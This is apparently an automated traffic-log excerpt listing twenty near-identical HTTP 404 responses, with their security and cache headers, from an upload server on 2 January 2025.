Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5V-wvxkDduUXWjadjFwmjfRgx_ZC9sEWXCB5TngyLuo1yrocbpYxTXTdZiUPaQL2yq8WbTxCAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:10 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-nV0H16OcSlUWP3OJV9wnxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6mSAol4nIgiSkYX6FbxlZAUbXHAfTOvMjqQ1yIw3BiQnXePzb5phe0CitpQI7ObhYQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:11 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-3EnJnOUErUe69_LMNd2pgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC56upD_9EcJ6pWK4FBxGPhRz8hekcse1jq56b4k7yV4EfU1NEZftv982JlMNGVlst9Bt3HN4LsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:11 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-7nJOtsQd9BDzl_PyeBxEeg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7qbH075i9JJoINswr4fzDMkjGlEl1JtzvatPUFApRzobTKJCYw5FEaFZ6Jo-xZBTexContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:12 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Xp1xMYwDoStj5XwVuwL31A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4Qd1X_KplNX_GAj4Q-HxbRKd2O4Ew4oD5JgAKT71xxLNQgWl_moKmznvsPpMV1P2J-Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:14 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-36oMz-jXtbtQvgWPCG2qyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7GXNGJUUuLrtswAV76voLtPuh3Ty8EE2mo8elASlRBx0bNL9Rpe9jIbv66F6CcLf7Q4wbM--4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:15 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-7FhDe5kXxuMsNCchihXRJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC77RnVaen6uXtKmBP69ag8aGU4f_5gb4xyMC2adULc9b3gAL8uQuaS6DYpAfb8Y5Kmswa5VAckContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:16 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-gg4xEh_giCPmBTVvPdFEZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7O-WCz0Rya4ufRsmKHM2zvSb8WM4y2qODjm3XoH3KIQB3sYgUcRlSg6CB4bCD_O-1bContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:16 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-igAZpGnclui_g3FfazNQnA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4N1brF14DCp4Yqw764Eqc7ThbMirLVJBTzGGIrLKK5TTah-8lsarb-CY07-Xwi8OYCContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:17 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-OWtvn2XP3ZQ6AKwjqzaX6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4U8gANpGeKI_iqxuASKHpXZZoc6MdB4zHcf7Zvmeix7v-Cw9btM7IDolHwVsx0iT1k4QwmUDsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:18 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-jTkLZbOuU0Ot45jGHJG_lA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC42R4Pnk2MgUyn6chcxXcWOh4vheeKbWaciPcvigiu5_AK_v18eZkH8gJVAK-LxsU2YRFCAx2cContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:19 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-SHGfBhwRdaMo2DGt7B7Mgg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4tYAhy-lpXlBzfODCQxXXaBZL8PTUraT1YLmZCXsG1Sni2YbT2KYJWFL8T0t6-HTUgN3JkDNQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:20 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-76FLIOnZMKeZe4yZ4kylgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5i2l8NQExP5I_sMbU85X39ujTKkOL9OcEwPTDGVQx5sd2WvThl7O3zYg2lMSKd4ew8YLb_9fsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:20 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-rGT2qFz6LCRuU_0ic44FxQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5zRN771mTsxP-wosoQDJyCFOPH0MhJh-H2fZu2BPwcw5mn9ny8sjbeRZFmkhE8HiEgha9FLlUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:21 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-IBTnseJZhsiCYuDQAH2plg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6YACSGaQnufKZw5TEhYDFsVZzDI0LmIS4PRlSpPVtk3yJqqLfnGxguSmRt-GWDIk3GContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:21 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-8UvOTKF0wbMZYq2e77cnOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4OvlvMXcFnhHYfxFaaCM9gva3NPidlNrAnN0SZyTisVGEKRJSrB5G2HbQjMkathQh-bJPnt80Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:23 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-P3q-h0OHqRRTLPdGA9Rysg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7wCVKb4eDeNfPxJKo7RzYm8jXVFOy8HO9tKMQ5DZFYsBt_ZMyFbnlhq_F2tttd40PPContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:23 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-npeNIIXiE5xGE9OuCT5klw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7fa9MeEr7gZyK8HH7vnkRfWoKThQ43rZOcCEl4P0yh9kJYZdUrkqB0Prr1ivWwvP9vzZGqIQ0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:24 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-K-Z5ihTnw-upFHCTuV9NhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6c9V5jHCq_CzBJ8RjfNOWwwj9lXQbyfT4KvjGm9aNTn6BHVWYK3N2PizmKh-F6y46tContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:24 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-WJmtE_PAzGtlxFeZagx98w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC76USabMnZBu1MJTZJ7ipTfAA-i_uJN8b2JX21GwZYRmp3ONAzsF6yZw96IPyQZM6WUp6ULQjwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:27 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3zwKyIizbj0Bki0aOGnZFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
